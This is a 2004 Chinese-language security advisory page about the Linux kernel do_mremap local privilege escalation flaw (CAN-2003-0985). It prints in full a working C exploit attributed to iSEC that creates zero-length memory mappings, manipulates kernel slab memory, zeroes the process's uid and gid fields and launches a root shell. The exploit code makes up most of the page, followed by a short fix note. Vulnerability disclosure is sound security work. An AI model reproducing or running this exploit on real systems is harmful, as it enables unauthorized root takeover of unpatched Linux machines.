首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Linux kernel do_mremap本地权限非法提升漏洞
来源:vittersafe.yeah.net 作者:vitter 发布时间:2004-01-19  

Linux kernel do_mremap本地权限非法提升漏洞

涉及程序:
Linux kernel do_mremap

描述:
Linux kernel do_mremap 本地权限非法提升漏洞

详细:

Linux内核内存管理代码mremap(2)系统被发现存在严重安全漏洞。本地攻击者可利用此漏洞进行非法权限提升,以root权限在系统上执行任意指令。

这是由于mremap(2)系统调用缺乏正确的边界检查引起的。mremap系统调用被应用程序用来改变映射区段(VMAs)的边界地址。一般的VMA覆盖至少一个内存页(在i386架构上为4kB),do_mremap()内核代码执行重映射虚拟内存区域时发现缺少正确的边界检查,可导致建立0字节长度的虚拟内存区域。

错误的分配虚拟内存区域可破坏其他内核内存管理子程序的操作,最终导致不可预料的后果。由于调用这个mremap(2)系统调用不需要任何特殊权限,正确利用此漏洞可导致在系统上建立和获得UIN 0 shell。

受影响系统:
Linux kernel 2.4 到 2.4.23 之间所有版本,及版本2.6.0

不受影响系统:
Linux kernel 2.4.24


攻击方法:
/*
* Linux kernel mremap() bound checking bug exploit.
*
* Bug found by Paul Starzetz <paulisec.pl>
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*/


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>


#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>


#include <asm/page.h>


#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2


#define str(s) #s
#define xstr(s) str(s)


#define DSIGNAL SIGCHLD
#define CLONEFL (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
#define PAGEADDR 0x2000


#define RNDINT 512


#define NUMVMA (3 * 5 * 257)
#define NUMFORK (17 * 65537)


#define DUPTO 1000
#define TMPLEN 256


#define __NR_sys_mremap 163


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long new_len,
unsigned long flags, unsigned long new_addr);

static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid, gid;
static volatile int *vma_ro, *vma_rw, *tmp;
static volatile unsigned fake_file[16];

void fatal(const char * msg)
{
printf("\n");
if (!errno) {
fprintf(stderr, "FATAL: %s\n", msg);
} else {
perror(msg);
}


printf("\nentering endless loop");
fflush(stdout);
fflush(stderr);
while (1) pause();
}


void kernel_code(void * file, loff_t offset, int origin)
{
int i, c;
int *v;


if (!file)
goto out;


__asm__("movl %%esp, %0" : : "m" (c));


c &= 0xffffe000;
v = (void *) c;


for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
if (v[i] == uid && v[i+1] == uid) {
i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
}
if (v[i] == gid) {
v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
break;
}
}
out:
dummy++;
}


void try_to_exploit(void)
{
int v = 0;


v += fops[0];
v += fake_file[0];


kernel_code(0, 0, v);
lseek(DUPTO, 0, SEEK_SET);


if (geteuid()) {
printf("\nFAILED uid!=0"); fflush(stdout);
errno =- ENOSYS;
fatal("uid change");
}


printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);


kill(ppid, SIGUSR1);
setresuid(0, 0, 0);
sleep(1);


printf("\n\n"); fflush(stdout);


execl("/bin/bash", "bash", NULL);
fatal("burp");
}


void cleanup(int v)
{
victim[DUPTO] = victim[0];
kill(0, SIGUSR2);
}

void redirect_filp(int v)
{
printf("\n[!] parent check race... "); fflush(stdout);


if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
printf("SUCCESS, cought SLAB page!"); fflush(stdout);
victim[DUPTO] = (unsigned) & fake_file;
signal(SIGUSR1, &cleanup);
kill(pid, SIGUSR1);
} else {
printf("FAILED!");
}
fflush(stdout);
}


int get_slab_objs(void)
{
FILE * fp;
int c, d, u = 0, a = 0;
static char line[TMPLEN], name[TMPLEN];


fp = fopen("/proc/slabinfo", "r");
if (!fp)
fatal("fopen");


fgets(name, sizeof(name) - 1, fp);
do {
c = u = a =- 1;
if (!fgets(line, sizeof(line) - 1, fp))
break;
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
} while (strcmp(name, "size-4096"));

fclose(fp);


return c == 7 ? a - u : -1;
}


void unprotect(int v)
{
int n, c = 1;


*victim = 0;
printf("\n[+] parent unprotected PTE "); fflush(stdout);


dup2(0, 2);
while (1) {
n = get_slab_objs();
if (n < 0)
fatal("read slabinfo");
if (n > 0) {
printf("\n depopulate SLAB #%d", c++);
blah = 0; kill(hpid, SIGUSR1);
while (!blah) pause();
}
if (!n) {
blah = 0; kill(hpid, SIGUSR1);
while (!blah) pause();
dup2(0, DUPTO);
break;
}
}


signal(SIGUSR1, &redirect_filp);
kill(pid, SIGUSR1);
}


void cleanup_vmas(void)
{
int i = NUMVMA;


while (1) {
tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
fatal("unmap1");
}
i--;
if (!i)
break;


tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
fatal("unmap2");
}
i--;
if (!i)
break;
}
}


void catchme(int v)
{
blah++;
}


void exitme(int v)
{
_exit(0);
}


void childrip(int v)
{
waitpid(-1, 0, WNOHANG);
}


void slab_helper(void)
{
signal(SIGUSR1, &catchme);
signal(SIGUSR2, &exitme);
blah = 0;


while (1) {
while (!blah) pause();


blah = 0;
if (!fork()) {
dup2(0, DUPTO);
kill(getppid(), SIGUSR1);
while (1) pause();
} else {
while (!blah) pause();
blah = 0; kill(ppid, SIGUSR2);
}
}
exit(0);
}


int main(void)
{
int i, r, v, cnt;
time_t start;


srand(time(NULL) + getpid());
ppid = getpid();
uid = getuid();
gid = getgid();


hpid = fork();
if (!hpid)
slab_helper();


fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (fops == MAP_FAILED)
fatal("mmap fops VMA");
for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
fops[i] = (unsigned)&kernel_code;
for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
fake_file[i] = (unsigned)fops;


vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (vma_ro == MAP_FAILED)
fatal("mmap1");


vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (vma_rw == MAP_FAILED)
fatal("mmap2");


cnt = NUMVMA;
while (1) {
r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
if (r == (-1)) {
printf("\n[-] ERROR remapping"); fflush(stdout);
fatal("remap1");
}
cnt--;
if (!cnt) break;


r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
if (r == (-1)) {
printf("\n[-] ERROR remapping"); fflush(stdout);
fatal("remap2");
}
cnt--;
if (!cnt) break;
}


victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (victim != (void *) PAGEADDR)
fatal("mmap victim VMA");


v = *victim;
*victim = v + 1;


signal(SIGUSR1, &unprotect);
signal(SIGUSR2, &catchme);
signal(SIGCHLD, &childrip);
printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
start = time(NULL);


cnt = NUMFORK;
v = 0;
while (1) {
cnt--;
v--;
dummy += *victim;


if (cnt > 1) {
__asm__(
"pusha \n"
"movl %1, %%eax \n"
"movl $("xstr(CLONEFL)"), %%ebx \n"
"movl %%esp, %%ecx \n"
"movl $120, %%eax \n"
"int $0x80 \n"
"movl %%eax, %0 \n"
"popa \n"
: : "m" (pid), "m" (dummy)
);
} else {
pid = fork();
}


if (pid) {
if (v <= 0 && cnt > 0) {
float eta, tm;
v = rand() % RNDINT / 2 + RNDINT / 2;
tm = eta = (float)(time(NULL) - start);
eta *= (float)NUMFORK;
eta /= (float)(NUMFORK - cnt);
printf("\r\t%u of %u [ %u %% ETA %6.1f s ] ",
NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
fflush(stdout);
}
if (cnt) {
waitpid(pid, 0, 0);
continue;
}
if (!cnt) {
while (1) {
r = wait(NULL);
if (r == pid) {
cleanup_vmas();
while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
}
}
}
}


else {
cleanup_vmas();


if (cnt > 0) {
_exit(0);
}


printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
sleep(1);


signal(SIGUSR1, &catchme);
munmap(0, PAGE_SIZE);
dup2(0, 2);
blah = 0; kill(ppid, SIGUSR1);
while (!blah) pause();


munmap((void *)victim, PAGE_SIZE);
dup2(0, DUPTO);


blah = 0; kill(ppid, SIGUSR1);
while (!blah) pause();
try_to_exploit();
while (1) pause();
}
}
return 0;
}




解决方案:
使用版本Linux 2.4.24:

http://www.kernel.org

附加信息:
CAN-2003-0985



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Apache mod_python 模块畸形请求
·Symantec LiveUpdate本地权限提
·RhinoSoft Serv-U Ftp 服务器长
·微软安全公告 MS04-001
·Cisco安全公告 Windows2k Workst
·多家厂商bzip2反病毒软件存在DoS
·Apache Web Server 2.0.47访问控
·FreeProxy/FreeWeb 存在DoS缺陷
·Windows XP Explorer自执行文件
·ezContents 存在远程代码执行缺
·Windows FTP Server存在格式串缺
·CPAN WWW::Form 模块HTML注入漏
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved